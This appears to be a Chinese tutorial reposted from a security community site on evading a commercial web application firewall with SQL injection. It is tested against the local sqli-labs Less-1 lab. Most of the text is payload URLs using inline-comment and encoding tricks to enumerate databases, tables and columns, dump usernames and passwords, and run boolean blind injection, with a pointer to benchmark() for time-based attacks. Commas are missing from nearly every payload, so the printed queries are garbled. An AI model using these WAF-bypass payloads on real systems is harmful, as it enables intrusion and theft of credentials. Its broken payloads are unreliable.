某狗SQL注入WAF绕过
红帽社区是一个垂直网络安全社区,融合“红帽先锋”正能量精神,每日分享最新安全资讯,提供安全问答、靶场、众测、漏洞库等功能,是网络安全爱好者学习、交流的优质社区。
前言
这里使用sqli-labs
第一关字符型注入来测试
union注入测试
绕过and 1=1
先使用and 1=1
和and 1=2
直接被拦截
&&(%26%26)
代替and
,后面是个条件,可以使用True
和False
代替绕过order by
之前版本绕过order by
的方法很简单就是使用内联注释,如/*!order*//**//*!by*/
来绕过,但是现在不行了,于是尝试其它WAF
绕过方式,发现order/*!60000ghtwf01*/by
可以实现绕过,数字要大于50000
,不然就是报错,后面随便接字母
绕过union select
尝试使用order by
的绕过姿势,union/*!60000ghtwf01*/select
,发现成功绕过
绕过database()
直接查询database()
会被拦截
database/**/()
可以绕过使用-加上任意一个不存在的函数可以报错出数据库名,比如
-ghtwf01()
绕过schema_name
查询所有数据库名时,使用schema_name
会被拦截,这里使用内联注释绕过
http://127.0.0.1/sqli/Less-1/?id=0%27%20union/*!60000ghtwf01*/select%201(select%20group_concat(/*!schema_name*/)%20from%20information_schema.schemata)3--+
绕过table_name
查询所有数据库名时,使用table_name
会被拦截,这里使用内联注释绕过
http://127.0.0.1/sqli/Less-1/?id=0%27%20union/*!60000ghtwf01*/select%201(select%20group_concat(/*!table_name*/)%20from%20information_schema.tables%20where%20table_schema=%27security%27)3--+
绕过column_name
查询所有数据库名时,使用column_name
会被拦截,这里使用内联注释绕过,and
连接的时候and
换为%26%26
http://127.0.0.1/sqli/Less-1/?id=0%27%20union/*!60000ghtwf01*/select%201(select%20group_concat(/*!column_name*/)%20from%20information_schema.columns%20where%20table_schema=%27security%27%20%26%26%20table_name=0x7573657273)3--+
绕过与from的结合查询字段内容
使用from.
绕过
http://127.0.0.1/sqli/Less-1/?id=0%27%20union/*!60000ghtwf01*/select%201(select%20group_concat(username0x7epassword0x7e)%20from.%20users)3--+
盲注
布尔盲注
查询数据库名长度
http://127.0.0.1/sqli/Less-1/?id=1%27%20%26%26%20length(data/**/())=8--+
查询第一个数据库名的第一个字母,过滤了ascii(),这里使用hex()
http://127.0.0.1/sqli/Less-1/?id=1%27%20%26%26%20(hex(substr((select%20concat(/*!schema_name*/)%20from%20information_schema.schemata%20limit%2001)11))=69)%20--+
然后以此类推即可查询表名的第一个字母,注意这里数据库名需要十六进制编码才行,否则会被拦截
http://127.0.0.1/sqli/Less-1/?id=1%27%20%26%26%20(hex(substr((select%20concat(/*!table_name*/)%20from%20information_schema.tables%20where%20/*!table_schema*/=0x7365637572697479%20limit%2001)11))=65)%20--+
查询列名的第一个字母
http://127.0.0.1/sqli/Less-1/?id=1%27%20%26%26%20(hex(substr((select%20concat(/*!column_name*/)%20from%20information_schema.columns%20where%20table_schema=0x7365637572697479%20%26%26%20table_name=0x7573657273%20limit%2001)11))=69)%20--+
查询字段第一个字母,限制了select
与from
结合使用from.
http://127.0.0.1/sqli/Less-1/?id=1%27%20%26%26%20(hex(substr((select%20username%20from.%20users%20limit%2001)11))=74)%20--+
时间盲注
过滤了sleep()
函数,使用benchmark()
函数即可,查询规则参考上面布尔盲注
责任编辑:
声明:本平台发布的内容(图片、视频和文字)以原创、转载和分享网络内容为主,如果涉及侵权请尽快告知,我们将会在第一时间删除。文章观点不代表本网站立场,如需处理请联系客服。
相关文章: